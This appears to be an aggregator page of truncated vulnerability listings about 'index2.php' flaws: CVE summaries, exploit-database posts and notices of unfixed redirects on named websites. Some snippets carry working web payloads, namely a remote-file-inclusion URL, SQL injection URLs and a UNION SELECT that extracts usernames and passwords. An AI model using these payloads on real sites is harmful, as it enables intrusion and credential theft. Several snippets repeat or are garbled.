CVE-2010-4837

CVE-2010-4837 affects Joomla! with the JSupport (com_jsupport) component version 1.5.6. It is a Cross-site Scripting (XSS) vulnerability exploitable via the subject parameter (title field) in a saveTicket action to index2.php, allowing remote script/HTML injection. The NVD lists a base score of 4...

Elxis CMS 2009.2 Remote File Inclusion

\ \ \ / / / \ / / / |// / / // // / / / // // / installation folder.'; include$mosConfigabsolutepath.'/includes/systemplates/router.php'; exit; requireonce$mosConfigabsolutepath.'/includes/Core/loader.php'; file : index2.php http://site.com/elxis-cms/index2.php?mosConfigabsolutepath=shell script...

Elxis CMS 2009.2 - Remote File Inclusion

Elxis CMS 2009.2 - Remote File Inclusion \ \ \ / / / \ / / / |// / / // // / / / // // / installation folder.'; include$mosConfigabsolutepath.'/includes/systemplates/router.php'; exit; requireonce$mosConfigabsolutepath.'/includes/Core/loader.php'; file : index2.php...

Elxis CMS 2009.2 - Remote File Inclusion

\ \ \ / / / \ / / / |// / / // // / / / // // / installation folder.'; include$mosConfigabsolutepath.'/includes/systemplates/router.php'; exit; requireonce$mosConfigabsolutepath.'/includes/Core/loader.php'; file : index2.php http://site.com/elxis-cms/index2.php?mosConfigabsolutepath=shell script...

Simpleside SQL Injection

Tital : simpelside index2.php SQL Injection VulnerabilityEDB-ID: CVE-ID: OSVDB-ID: Author: MN9 Published: 2010-05-25 Verified: yes .. Author : MN9 .. Email : Mn9atLive.No .. Script Home : www.simpelside.dk .. Doork : : Exploit http://site/index2.php?id=2 SQL Injection &mainid=2 Example...

Simpel Side - index2.php SQL Injection

Simpel Side - index2.php SQL Injection Tital : simpelside index2.php SQL Injection VulnerabilityEDB-ID: CVE-ID: OSVDB-ID: Author: MN9 Published: 2010-05-25 Verified: yes .. Author : MN9 .. Email : Mn9atLive.No .. Script Home : www.simpelside.dk .. Doork : : Exploit http://site/index2.php?id=2 SQL...

Simpel Side - 'index2.php' SQL Injection

Tital : simpelside index2.php SQL Injection VulnerabilityEDB-ID: CVE-ID: OSVDB-ID: Author: MN9 Published: 2010-05-25 Verified: yes .. Author : MN9 .. Email : Mn9atLive.No .. Script Home : www.simpelside.dk .. Doork : : Exploit http://site/index2.php?id=2 SQL Injection &mainid=2 Example...

interuse Website Builder design - index2.php SQL Injection

interuse Website Builder design - index2.php SQL Injection ------------------------------------------------------------------------------------------- interuse Website Builder & design index2.php SQL Injection Vulnerability...

interuse Website Builder & design - 'index2.php' SQL Injection

------------------------------------------------------------------------------------------- interuse Website Builder & design index2.php SQL Injection Vulnerability ------------------------------------------------------------------------------------------- Author: CoBRa21 Mail:...

CVE-2010-1049

Multiple SQL injection vulnerabilities in Uiga Business Portal allow remote attackers to execute arbitrary SQL commands via the 1 noentryid parameter to blog/index.php and the 2 p parameter to index2.php...

CVE-2008-4519

Multiple directory traversal vulnerabilities in Fastpublish CMS 1.9999 d allow remote attackers to include and execute arbitrary local files via a .. dot dot in the target parameter to 1 index2.php and 2 index.php...

Directory traversal

Multiple directory traversal vulnerabilities in Fastpublish CMS 1.9999 d allow remote attackers to include and execute arbitrary local files via a .. dot dot in the target parameter to 1 index2.php and 2 index.php...

CVE-2008-2506

Multiple SQL injection vulnerabilities in Simpel Side Weblosning 1 through 4 allow remote attackers to execute arbitrary SQL commands via the 1 mainid and 2 id parameters to index2.php...

Sql injection

Multiple SQL injection vulnerabilities in Simpel Side Weblosning 1 through 4 allow remote attackers to execute arbitrary SQL commands via the 1 mainid and 2 id parameters to index2.php...

Weblosninger <= v4 (XSS/SQL) Multiple Remote Vulnerabilities

Exploit for unknown platform in category web applications ============================================================ Weblosninger SQL :::::::: V1 ===== http://www.target.dk/ index2.php?id=31&mainid=-1+union+select+1,2,3,concatws0x3a3a,brugernavn,adgangskode,5,6+from+web1brugere/ V2 =====...

Unfixed Redirect vulnerability at www.gunradyotv.com

Security researcher st@rext, has submitted on 24/12/2007 a Redirect vulnerability affecting www.gunradyotv.com, which at the time of submission ranked 2017292 on the web according to Alexa. We manually validated and published a mirror of this vulnerability on 26/12/2007. It is currently unfixed. ...

Sql injection

SQL injection vulnerability in admin/index2.asp in GOUAE DWD Realty allows remote attackers to execute arbitrary SQL commands via the uname parameter, a different vector than CVE-2007-6163. NOTE: the provenance of this information is unknown; the details are obtained solely from third party...

CVE-2007-5176

Multiple cross-site scripting XSS vulnerabilities in GroupLink eHelpDesk 6.2.2 allow remote attackers to inject arbitrary web script or HTML via the 1 NADISPLAYNAME parameter in helpdesk/user/rfcreate.jsp and the 2 username and 3 LDAPError parameters in index2.jsp. NOTE: the provenance of this...

Unfixed Redirect vulnerability at tarih.us

Security researcher Narcoticxs, has submitted on 30/09/2007 a Redirect vulnerability affecting tarih.us, which at the time of submission ranked 7330054 on the web according to Alexa. We manually validated and published a mirror of this vulnerability on 04/10/2007. It is currently unfixed. If you...

Unfixed Redirect vulnerability at www.karangturi.org

Security researcher Narcoticxs, has submitted on 30/09/2007 a Redirect vulnerability affecting www.karangturi.org, which at the time of submission ranked 2527778 on the web according to Alexa. We manually validated and published a mirror of this vulnerability on 04/10/2007. It is currently unfixe...